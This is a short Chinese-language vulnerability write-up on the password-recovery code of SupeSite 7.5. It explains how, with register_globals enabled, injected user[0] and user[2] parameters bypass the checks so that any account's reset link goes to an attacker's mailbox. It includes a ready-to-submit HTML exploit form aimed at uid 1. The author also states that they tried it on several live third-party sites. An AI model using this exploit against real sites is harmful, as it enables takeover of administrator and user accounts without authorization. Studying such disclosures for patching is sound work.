if(submitcheck('lostpwsubmit')) {

$_POST['username'] = trim($_POST['username']);

if ($_POST['username']) {
   $user = uc_get_user($_POST['username']);
   $query = $_SGLOBAL['db']->query("SELECT * FROM ".tname('userlog')." WHERE uid='$user[0]'");
  
   if ($_SGLOBAL['db']->fetch_array($query)) {
    showmessage('user_delete', geturl('action/login'), 10);
   }
  
   $query = $_SGLOBAL['db']->query("SELECT uid, groupid, flag, email FROM ".tname('members')." WHERE uid='$user[0]'");
   $member = $_SGLOBAL['db']->fetch_array($query);
   if(empty($member)) {
    showmessage('user_does_not_exist', S_URL.'/do.php?action=lostpasswd');
   }
   $uemail = empty($member['email']) ? substr($user[2], strpos($user[2], '@')) : substr($member['email'], strpos($member['email'], '@'));
   // 管理员组， 有站点设置权限， 受保护用户不可找回密码
   if ($member['groupid'] == 1 || checkperm('managesettings', $member['groupid']) || $member['flag']) {
    showmessage('getpasswd_account_invalid', S_URL.'/do.php?action=lostpasswd', 10);
   }
}

$_POST['email'] = trim($_POST['email']);

if ($_POST['email']) {
   if ($_POST['email'] == $user[2] || $_POST['email'] == $member['email']) {   //邮箱验证
    include(S_ROOT.'./function/sendmail.fun.php');
    $idstring = random(6);
    $reseturl = $_SC['siteurl'].'/do.php?action=lostpasswd&op=reset&uid='.$user[0].'&id='.$idstring;
    updatetable('members', array('authstr'=>$_SGLOBAL['timestamp']."\t1\t".$idstring), array('uid'=>$user[0]));
    $message = str_replace('\\1', "$reseturl", $lang['get_passwd_message']);
    if(!sendmail(array($_POST['email']), $lang['get_passwd_subject'], $message)) {
     showmessage('mail_send_fail', geturl('action/login'), 10);
    }
    showmessage('email_send_success', geturl('action/login'), 10);
   }else {
    showmessage('email_username_does_not_match', S_URL.'/do.php?action=lostpasswd', 10);
   }
}

}
      从以上相关代码可以看到我们如果不提交$_POST['username'],那么$user和$member数组是没有初始化的，可以直接构造它们绕过相关检查条件，发送任意要取回密码用户的邮件到我们指定的邮箱!
      鸡肋地方在于系统register_globals = On，并且程序能正常发送邮件！
      利用方法如下：

<form name="a" action="http://127.0.0.1/supersite7.5/do.php?action=lostpasswd&user[2]=xxxxx@qq.com&user[0]=1" method="post">
<input type="hidden" name="formhash" value="f9659fba" />
<input type="hidden" value="true" name="lostpwsubmit"/>
<th>邮箱</th>
<input type="text" value="xxxxx@qq.com" name="email" size="30"/>
<input type="submit" value="提交" class="input_search"/>
</form>

    注：本人在网上找了几个站测试了下效果不理想，大多是没开启register_globals或邮件功能的!
写出来和大家多交流学习！